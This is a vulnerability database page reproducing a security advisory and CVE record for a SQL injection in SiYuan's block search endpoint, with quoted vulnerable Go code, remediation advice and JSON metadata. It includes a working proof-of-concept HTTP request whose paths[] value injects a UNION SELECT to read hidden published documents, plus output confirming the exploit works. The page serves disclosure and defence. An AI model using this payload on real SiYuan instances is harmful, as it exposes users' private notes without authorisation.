Vulnerability-Lookup

GHSA-H89Q-4J2H-7H88

Vulnerability from github – Published: 2026-09-02 14:16 – Updated: 2026-09-02 14:16

Summary

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

Details

Summary

Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.

An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.

Affected Code

The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:

if method == 2 && !model.IsAdminRoleContext(c) {
    ret.Code = -1
    ret.Msg = "SQL search requires administrator privileges"
    return
}

blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

Source: input/siyuan/kernel/api/search.go

paths[] is parsed into notebook IDs and paths without SQL escaping or validation:

path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
    boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
    paths = append(paths, path)
}

Source: input/siyuan/kernel/api/search.go

Those values are then concatenated directly into SQL:

builder.WriteString(fmt.Sprintf("box = '%s'", box))

builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))

Source: input/siyuan/kernel/model/search.go

Regexp search executes the resulting statement:

stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)

Source: input/siyuan/kernel/model/search.go

The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:

for _, block := range blocks {
    passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
    if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
        ret = append(ret, block)
    }
}

Source: input/siyuan/kernel/model/publish_access.go

Attack Scenario

A Siyuan instance enables the publish service.
At least one document is visible to publish visitors.
At least one document is hidden from publish visitors.
The attacker sends a crafted paths[] value to the publish service's /api/search/fullTextSearchBlock endpoint.
The injected SQL selects content from the hidden document while projecting the visible document's box and path.
Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.

Proof of Concept

POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json

{
  "query": "SECRET-LIVE-SQLI-20260609",
  "method": 3,
  "page": 1,
  "pageSize": 10,
  "paths": [
    "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
  ]
}

VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.

Validation

Setup:

Started b3log/siyuan:latest with an isolated temporary workspace.
Created one notebook.
Created a visible document containing public apple marker.
Created a hidden document containing SECRET-LIVE-SQLI-20260609 apple marker.
Marked the hidden document invisible with POST /api/filetree/setPublishAccess.
Enabled publish mode with POST /api/setting/setPublish.
Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.

Control request through the publish service for the hidden marker returned no blocks:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [],
    "docMode": false,
    "matchedBlockCount": 1,
    "matchedRootCount": 1,
    "pageCount": 1
  }
}

The injected request through the publish service returned the hidden block:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [
      {
        "box": "20260609095146-19hud1e",
        "path": "/20260609095209-1ljs6o7.sy",
        "hPath": "/HiddenDoc",
        "id": "20260609095209-gttlrue",
        "rootID": "20260609095209-yaz7i3h",
        "parentID": "20260609095209-yaz7i3h",
        "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
        "markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
        "type": "NodeParagraph"
      }
    ],
    "docMode": false,
    "matchedBlockCount": 0,
    "matchedRootCount": 0,
    "pageCount": 0
  }
}

The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.

Impact

An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.

Remediation

Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:

box = ?
path LIKE ?

Then pass the user-controlled notebook ID and path prefix as query arguments.

Additional hardening:

Validate notebook IDs before query construction.
Validate document paths against Siyuan's normalized .sy path format.
Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.
Add regression tests for publish reader-role requests where paths[] contains SQL metacharacters such as ', ), UNION, and --.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260704035518-d0f0fe146fb0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:16:08Z",
    "nvd_published_at": "2026-07-09T23:17:05Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nSiyuan\u0027s block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan\u0027s publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`.\n\nAn attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor.\n\n## Affected Code\n\nThe API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:\n\n```go\nif method == 2 \u0026\u0026 !model.IsAdminRoleContext(c) {\n    ret.Code = -1\n    ret.Msg = \"SQL search requires administrator privileges\"\n    return\n}\n\nblocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)\nif model.IsReadOnlyRoleContext(c) {\n    publishAccess := model.GetPublishAccess()\n    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)\n}\n```\n\nSource: `input/siyuan/kernel/api/search.go`\n\n`paths[]` is parsed into notebook IDs and paths without SQL escaping or validation:\n\n```go\npath := p.(string)\nbox := strings.TrimSpace(strings.Split(path, \"/\")[0])\nif \"\" != box {\n    boxes = append(boxes, box)\n}\npath = strings.TrimSpace(strings.TrimPrefix(path, box))\nif \"\" != path {\n    paths = append(paths, path)\n}\n```\n\nSource: `input/siyuan/kernel/api/search.go`\n\nThose values are then concatenated directly into SQL:\n\n```go\nbuilder.WriteString(fmt.Sprintf(\"box = \u0027%s\u0027\", box))\n```\n\n```go\nbuilder.WriteString(fmt.Sprintf(\"path LIKE \u0027%s%%\u0027\", path))\n```\n\nSource: `input/siyuan/kernel/model/search.go`\n\nRegexp search executes the resulting statement:\n\n```go\nstmt := \"SELECT * FROM `blocks` WHERE \" + fieldFilter + \" AND type IN \" + typeFilter\nstmt += boxFilter + pathFilter + ignoreFilter + \" \" + orderBy\nblocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)\n```\n\nSource: `input/siyuan/kernel/model/search.go`\n\nThe read-only publish filter runs after SQL execution and trusts the returned row\u0027s `Box` and `Path`:\n\n```go\nfor _, block := range blocks {\n    passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)\n    if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) \u0026\u0026 (c == nil || password == \"\" || CheckPublishAuthCookie(c, passwordID, password)) {\n        ret = append(ret, block)\n    }\n}\n```\n\nSource: `input/siyuan/kernel/model/publish_access.go`\n\n## Attack Scenario\n\n1. A Siyuan instance enables the publish service.\n2. At least one document is visible to publish visitors.\n3. At least one document is hidden from publish visitors.\n4. The attacker sends a crafted `paths[]` value to the publish service\u0027s `/api/search/fullTextSearchBlock` endpoint.\n5. The injected SQL selects content from the hidden document while projecting the visible document\u0027s `box` and `path`.\n6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.\n\n## Proof of Concept\n\n```http\nPOST /api/search/fullTextSearchBlock HTTP/1.1\nHost: \u003cpublish-service-host\u003e\nContent-Type: application/json\n\n{\n  \"query\": \"SECRET-LIVE-SQLI-20260609\",\n  \"method\": 3,\n  \"page\": 1,\n  \"pageSize\": 10,\n  \"paths\": [\n    \"VISIBLE_NOTEBOOK_ID/x%\u0027) UNION SELECT id,parent_id,root_id,hash,\u0027VISIBLE_NOTEBOOK_ID\u0027,\u0027/VISIBLE_DOC.sy\u0027,hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path=\u0027/HIDDEN_DOC.sy\u0027 -- \"\n  ]\n}\n```\n\n`VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read.\n\n## Validation\n\nSetup:\n\n- Started `b3log/siyuan:latest` with an isolated temporary workspace.\n- Created one notebook.\n- Created a visible document containing `public apple marker`.\n- Created a hidden document containing `SECRET-LIVE-SQLI-20260609 apple marker`.\n- Marked the hidden document invisible with `POST /api/filetree/setPublishAccess`.\n- Enabled publish mode with `POST /api/setting/setPublish`.\n- Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.\n\nControl request through the publish service for the hidden marker returned no blocks:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\",\n  \"data\": {\n    \"blocks\": [],\n    \"docMode\": false,\n    \"matchedBlockCount\": 1,\n    \"matchedRootCount\": 1,\n    \"pageCount\": 1\n  }\n}\n```\n\nThe injected request through the publish service returned the hidden block:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\",\n  \"data\": {\n    \"blocks\": [\n      {\n        \"box\": \"20260609095146-19hud1e\",\n        \"path\": \"/20260609095209-1ljs6o7.sy\",\n        \"hPath\": \"/HiddenDoc\",\n        \"id\": \"20260609095209-gttlrue\",\n        \"rootID\": \"20260609095209-yaz7i3h\",\n        \"parentID\": \"20260609095209-yaz7i3h\",\n        \"content\": \"\u003cmark\u003eSECRET-LIVE-SQLI-20260609\u003c/mark\u003e apple marker\",\n        \"markdown\": \"SECRET-LIVE-SQLI-20260609 apple marker\",\n        \"type\": \"NodeParagraph\"\n      }\n    ],\n    \"docMode\": false,\n    \"matchedBlockCount\": 0,\n    \"matchedRootCount\": 0,\n    \"pageCount\": 0\n  }\n}\n```\n\nThe returned row contains content from the hidden document, but its projected `box` and `path` point to the visible document. That is why the publish access filter accepts it.\n\n## Impact\n\nAn unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses Siyuan\u0027s publish visibility controls and exposes private note content that is not available through normal published document or search requests.\n\n\n## Remediation\n\nBuild notebook and path predicates with bound SQL parameters instead of string concatenation. For example:\n\n```sql\nbox = ?\npath LIKE ?\n```\n\nThen pass the user-controlled notebook ID and path prefix as query arguments.\n\nAdditional hardening:\n\n- Validate notebook IDs before query construction.\n- Validate document paths against Siyuan\u0027s normalized `.sy` path format.\n- Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.\n- Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as `\u0027`, `)`, `UNION`, and `--`.",
  "id": "GHSA-h89q-4j2h-7h88",
  "modified": "2026-09-02T14:16:08Z",
  "published": "2026-09-02T14:16:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h89q-4j2h-7h88"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59834"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/57bcad4b331836880bfe6be25d4180bdcf10db0d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/d0f0fe146fb07d594fcadc4f48d4f7c30ac01d1e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content"
}

CVE-2026-59834 (GCVE-0-2026-59834)

Vulnerability from cvelistv5 – Published: 2026-07-09 22:15 – Updated: 2026-07-10 13:33

Title

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

Summary

SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, the block search endpoint POST /api/search/fullTextSearchBlock concatenates attacker-controlled paths values into SQL predicates used by non-SQL search modes, allowing an unauthenticated publish visitor to inject a UNION SELECT and return rows from hidden documents by projecting an allowed visible box and path. This issue is fixed in versions 3.7.1.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-10 13:33 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM
https://github.com/siyuan-note/siyuan/commit/57bc…	x_refsource_MISC
https://github.com/siyuan-note/siyuan/commit/d0f0…	x_refsource_MISC
https://github.com/siyuan-note/siyuan/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
siyuan-note	siyuan	Affected: < 3.7.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-59834",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-10T13:33:00.538761Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-10T13:33:27.562Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h89q-4j2h-7h88"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "siyuan",
          "vendor": "siyuan-note",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.7.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.1, the block search endpoint POST /api/search/fullTextSearchBlock concatenates attacker-controlled paths values into SQL predicates used by non-SQL search modes, allowing an unauthenticated publish visitor to inject a UNION SELECT and return rows from hidden documents by projecting an allowed visible box and path. This issue is fixed in versions 3.7.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-09T22:15:48.674Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h89q-4j2h-7h88",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h89q-4j2h-7h88"
        },
        {
          "name": "https://github.com/siyuan-note/siyuan/commit/57bcad4b331836880bfe6be25d4180bdcf10db0d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/siyuan-note/siyuan/commit/57bcad4b331836880bfe6be25d4180bdcf10db0d"
        },
        {
          "name": "https://github.com/siyuan-note/siyuan/commit/d0f0fe146fb07d594fcadc4f48d4f7c30ac01d1e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/siyuan-note/siyuan/commit/d0f0fe146fb07d594fcadc4f48d4f7c30ac01d1e"
        },
        {
          "name": "https://github.com/siyuan-note/siyuan/releases/tag/v3.7.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.7.1"
        }
      ],
      "source": {
        "advisory": "GHSA-h89q-4j2h-7h88",
        "discovery": "UNKNOWN"
      },
      "title": "SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-59834",
    "datePublished": "2026-07-09T22:15:48.674Z",
    "dateReserved": "2026-07-07T15:00:50.979Z",
    "dateUpdated": "2026-07-10T13:33:27.562Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-H89Q-4J2H-7H88

Summary

Affected Code

Attack Scenario

Proof of Concept

Validation

Impact

Remediation

CVE-2026-59834 (GCVE-0-2026-59834)

Tags

Sightings

Nomenclature